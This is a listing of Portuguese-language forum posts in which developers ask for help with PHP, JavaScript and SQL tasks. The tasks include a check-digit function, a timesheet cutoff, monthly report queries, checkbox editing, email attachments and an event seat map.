  19. asacap1000

    Transformar em java script

    Galera preciso de uma ajuda para uma situação. Estou com uma função do banco de dados Oracle para a validação de documentos. Eu preciso implantar esta validação na web, será que poderiam me dar uma força de como transformar a função abaixo em javascript? A linguagem que vou utilizar no site é em PHP. create or replace function fun_Cal_Dig_mod11(p_numero in varchar2, p_doc in varchar2, p_tp_doc in varchar2 default null)return VARCHAR2 is wretorna number:= p_numero; ws varchar2(2); waux number(3); begin if p_doc = 'DAENTR' then ws:= '2'; elsif p_doc = 'DINACI' then ws:= '2'; end if; wretorna:= ws||wretorna; waux:= mod((to_number(SUBSTR(wretorna,1,1))*3 + to_number(SUBSTR(wretorna,2,1))*2 + to_number(SUBSTR(wretorna,3,1))*9 + to_number(SUBSTR(wretorna,4,1))*8 + to_number(SUBSTR(wretorna,5,1))*7 + to_number(SUBSTR(wretorna,6,1))*6 + to_number(SUBSTR(wretorna,7,1))*5 + to_number(SUBSTR(wretorna,8,1))*4 + to_number(SUBSTR(wretorna,9,1))*3 + to_number(SUBSTR(wretorna,10,1))*2)*10,11); if waux >= '10' then return 0; else return nvl(waux,0); end if; end;
  20. Pessoal....tenho a seguinte situação: O usuário loga no Sistema... e dá a entrada clicando num botão, igual um relógio de ponto...Daí tenho de encerrar o expediente caso passe de 12 horas! Tenho uma função javascript para isso, que finaliza o expediente quando passa de 12 horas, o PROBLEMA é que isso só funciona se o Usuário estiver logado...Se ele DESLOGAR eu não consigo fazer isso....daí se ele Logar umas 15 depois do inicio do expediente vai encerrar com essas 15 horas...Daí meu problema!
  21. Preciso listar todos os meses dentro de um período, inclusive os que não houveram movimentação, exemplo abaixo: Minha Query: SELECT LEFT(B8.B8_DTVALID, 06) AS VALIDADE, SUM(B8.B8_SALDO) AS VENCIDO, 0 AS VENCENDO, 0 AS AVENCER FROM SB8030 B8 INNER JOIN SB1030 B1 ON B1.B1_COD = B8.B8_PRODUTO AND B1.B1_GRUPO IN ('Q1', 'Q4', 'Q5') AND B1.D_E_L_E_T_ = ' ' WHERE B8.B8_DTVALID BETWEEN 'dtIni' AND 'dtFim' AND B8.B8_DTVALID < CONVERT(VARCHAR(10), GETDATE(), 112) AND (B8_SALDO > 0 OR B8_EMPENHO > 0) AND B8.D_E_L_E_T_ = ' ' GROUP BY LEFT(B8.B8_DTVALID, 06) utilizo a QUERY 3x repetidas alterando "DTVALID '<' ou '=' ou '>' CONVERT" com UNION para unir as 3 consultas Returno do SQL: Mes/Ano | Vencidos | A Vencer | Vencendo 01/2015 | 5 | 0 | 0 02/2015 | 1 | 0 | 0 04/2015 | 15 | 0 | 0 06/2015 | 7 | 0 | 0 07/2015 | 1 | 200 | 3 09/2015 | 0 | 578 | 0 12/2015 | 0 | 231 | 0 Resultado esperado Mes/Ano | Vencidos | A Vencer | Vencendo 01/2015 | 5 | 0 | 0 02/2015 | 1 | 0 | 0 03/2015 | 0 | 0 | 0 04/2015 | 15 | 0 | 0 05/2015 | 0 | 0 | 0 06/2015 | 7 | 0 | 0 07/2015 | 1 | 200 | 3 08/2015 | 0 | 0 | 0 09/2015 | 0 | 578 | 0 10/2015 | 0 | 0 | 0 11/2015 | 0 | 0 | 0 12/2015 | 0 | 231 | 0 Código PHP $aDados = $rep->SelDados($dtIni, $dtFim); $nCount = count($aDados); for ($x = 0; $x < $nCount; $x++) { $oDados = new Validade($aDados[$x]['VALIDADE'], $aDados[$x]['VENCIDO'], $aDados[$x]['VENCENDO'], $aDados[$x]['AVENCER']); echo "<tr class=\"font01\">"; echo "<td>".$oDados->GetValidade()."</td>"; echo "<td>".$oDados->GetVencido()."</td>"; echo "<td>".$oDados->GetVencendo()."</td>"; echo "<td>".$oDados->GetAvencer()."</td>"; echo "</tr>"; } Alguém teria alguma ideia de como resolver isso pela QUERY ou pelo PHP ?
  22. Anderson NR

    Problemas com Checkbox[ ] multiplo

    Olá pessoal, estou com um problema para recuperar dados do BD Mysql e exibir nos checkbox multiplos. Alguém poderia ajudar? Tenho um formulario de cadastro extenso onde o usuário seleciona várias opções entre <input type="text"> e <input type="checkbox" > Meu banco possui várias tabelas e eu as uno com uma chave estrangeira. Uma das tabelas em que gravo os check box possui a seguinte estrutura. [ code ] create table infraareacomum( id int primary key auto_increment, areacomum varchar (250), id_anuncio int, foreign key (id_anuncio) references anuncio(idanuncio) on delete cascade ); [ /code ] A parte de cadastro funcionou muito bem. Para cadastrar os multiplos check box estou usando um foreach Para cadastrar: [ code ] ... foreach ($areacomum as $key => &$val) { $sql3 = "INSERT INTO infraareacomum VALUES (null, '". $val."','".$id_anuncio."')"; if(mysqli_query($con, $sql3)){ var_dump($areacomum); } } ... [ /code ] Segue um trecho do meu formulario de cadastro onde o usuario seleciona os checkbox. Há mais de 40 itens. Ele possui a seguinte estrutura: [ code ] <label>Nas Áreas Comuns:</label><br> <div class="form-group"> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Bar"> Bar </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Restaurante"> Restaurante </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Churrasqueira"> Churrasqueira </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Piscina"> Piscina </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Vista Panorâmica"> Vista Panorâmica </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Jardim"> Jardim </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Estacionamento"> Estacionamento </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Sala de TV"> Sala de TV </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Salão de Jogos"> Salão de Jogos </label> [ /code ] Agora meu problema é o seguinte: São multiplos checkbox, preciso que o usuario possa edita-los, para isso deve-se carregar o formulário de edição identico ao de cadastro, porém mostrando os dados que foram cadastrados no banco. Os campos texto funcionara bem, porém o checkbox não vem preenchido. Quando consigo que venha ele só carrega a primeira opção. Meu codigo: [ code ] <?php $sql = "SELECT areacomum FROM infraareacomum WHERE id_anuncio = '$id' LIMIT 1" ; $result = mysqli_query($con, $sql); // $row = mysqli_num_rows($result); $row = mysqli_fetch_array($result); //while($row = mysqli_fetch_array($result)){ ?> <div class="form-group"> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Bar" <?php if($row == 'Bar') { echo "checked='checked'"; } ?>> Bar </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Restaurante" <?php if($row == 'Restaurante') { echo "checked='checked'"; } ?>> Restaurante </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Churrasqueira"<?php if($row["areacomum"] == 'Churrasqueira') { echo "checked='checked'"; } ?>> Churrasqueira </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Piscina" <?php if($row["areacomum"] == 'Piscina') { echo "checked='checked'"; } ?>> Piscina </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Vista Panorâmica" <?php if($row["areacomum"] == 'Vista Panorâmica') { echo "checked='checked'"; } ?>> Vista Panorâmica </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Jardim"<?php if($row["areacomum"] == 'Jardim') { echo "checked='checked'"; } ?>> Jardim </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Estacionamento"<?php if($row["areacomum"] == 'Estacionamento') { echo "checked='checked'"; } ?>> Estacionamento </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Sala de TV"<?php if($row["areacomum"] == 'Sala de TV') { echo "checked='checked'"; } ?>> Sala de TV </label> <label class="checkbox-inline"> <input type="checkbox" name="areacomum[]" value="Salão de Jogos"<?php if($row["areacomum"] == 'Salão de Jogos') { echo "checked='checked'"; } ?>> Salão de Jogos </label> </div> [ /code ]
  23. Boa tarde galera... estou tentando criar uma aplicação de envio de mensagem com anexo usando a função do php Mail(). Até ai de boa... Resolvi fazer algo para redimensionar os anexos, visando que meus usuarios serão em sua grande maioria mobile. Com um pouco de pesquisa, consegui um tutorial com funções em javascript que faz isso de boa. Essa parte tbem esta funfando conforme a ideia... redimensionando as imagens e salvando em uma pasta do meu host... agora a duvida éh... como faço para buscar os arquivos que estão em um diretorio do meu host, e anexa-las nesse email???
  24. crishenrique86

    Marcadores de Assentos para eventos

    Bom dia pessoal! Preciso desenvolver uma ferramenta para eventos, onde o cliente compra o ingresso com as informações de mesa e assento. Gostaria de fazer algo parecido com que encontramos nos sites de empresas aéreas, onde ao compra a passagem, você consegue visualizar os assentos um por um, verificando se já está ocupado. Mas no meu caso, que o assento mudasse de cor se estiver ocupado e se eu passar o mouse sobre ele, me mostrar o nome da pessoa. Não sei se já tem algum tipo de plugin para trabalhar junto com php, por isso peço ajuda de vocês, qual a melhor forma?
  25. Lincoln Nogueira

    Chamar uma function com JS

    Galera, Queria saber como chamo uma função em php, através de um button. Eu tenho um calendário e gostaria de filtrar conforme data selecionada pelo usuário e gostaria que o evento onclick funcione sem dar um refresh na tela. ________________________________________________ | | | | Calendário | Resultado | | | | ----------------------------------------------------------------------------
×

Important Information

Ao usar o fórum, você concorda com nossos Terms of Use.